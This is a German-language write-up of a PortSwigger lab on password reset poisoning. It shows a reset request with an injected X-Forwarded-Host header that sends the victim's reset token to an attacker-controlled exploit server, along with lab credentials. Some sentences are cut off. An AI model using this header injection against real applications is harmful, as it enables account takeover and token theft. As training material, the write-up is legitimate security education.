> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/authentication/password-reset-poisoning-via-middleware.md).

# Vergiftung der Passwortzurücksetzung über Middleware

### Passwort-Reset-Poisoning über Middleware

Dieses Lab ist anfällig für einen Angriff von **Passwort-Reset-Poisoning**. / Der Benutzer **carlos** klickt systematisch auf die Links in den E-Mails, die er erhält.

Endziel: **auf das Carlos-Konto zugreifen**.

* Gültige Anmeldedaten:
* `wiener:peter`
* Auf E-Mails, die an unser Konto gesendet werden, kann über den \*\*E-Mail-Client des Exploit-Servers\*\* zugegriffen werden.

<figure><img src="/files/0edf86291ae839cff39d6f2382d9474c5992b249" alt=""><figcaption></figcaption></figure>

Die Funktion zum Zurücksetzen des Passworts ist zugänglich und erlaubt die Eingabe eines Benutzernamens.

<figure><img src="/files/94277e2fd5719615f1695d87d2c54de6258125fe" alt=""><figcaption></figcaption></figure>

Wenn du eine Zurücksetzungsanfrage mit unserem eigenen Konto initiierst (`wiener`), wird eine E-Mail mit einem Link dieses Typs gesendet:

{% code overflow="wrap" %}

```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```

{% endcode %}

<figure><img src="/files/6dec58200896b2ff315cf75588b6ae406be08b1e" alt=""><figcaption></figcaption></figure>

Dieser Link leitet zu einer Seite weiter, um mit einem temporären **Token**.

<figure><img src="/files/f1af233afacad7c1ff380301cd614224a1d439e3" alt=""><figcaption></figcaption></figure>

**Manipulationstest mit Burp Suite**

Durch Abfangen der Passwort-Reset-Anfrage mit **Burp Suite**, fügen wir den folgenden HTTP-Header hinzu:

```http
X-Forwarded-Host: test.com

username=wiener
```

Die empfangene E-Mail enthält weiterhin das gültige Token, aber \*\*l

<figure><img src="/files/5f9e6c02a5a71f7080d8d35f5ea6a9ac1ad5d679" alt=""><figcaption></figcaption></figure>

Dies weist darauf hin, dass die Anwendung \*\* dem vertraut `X-Forwarded-Host`\*\* Header, um den Zurücksetzungslink zu erzeugen.

```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net

username=carlos
```

**Ausnutzung am Opfer**

Wiederhole den Angriff, diesmal gegen **carlos** und verwende die URL von **Exploit-Server**

An carlos wird eine E-Mail mit einem Zurücksetzungslink gesendet **der auf unserem Exploit-Server gehostet wird**, mit einem gültigen **Token**:

```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```

<figure><img src="/files/19143b3d04955eab2aae6435d6c55588938988b5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/authentication/password-reset-poisoning-via-middleware.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
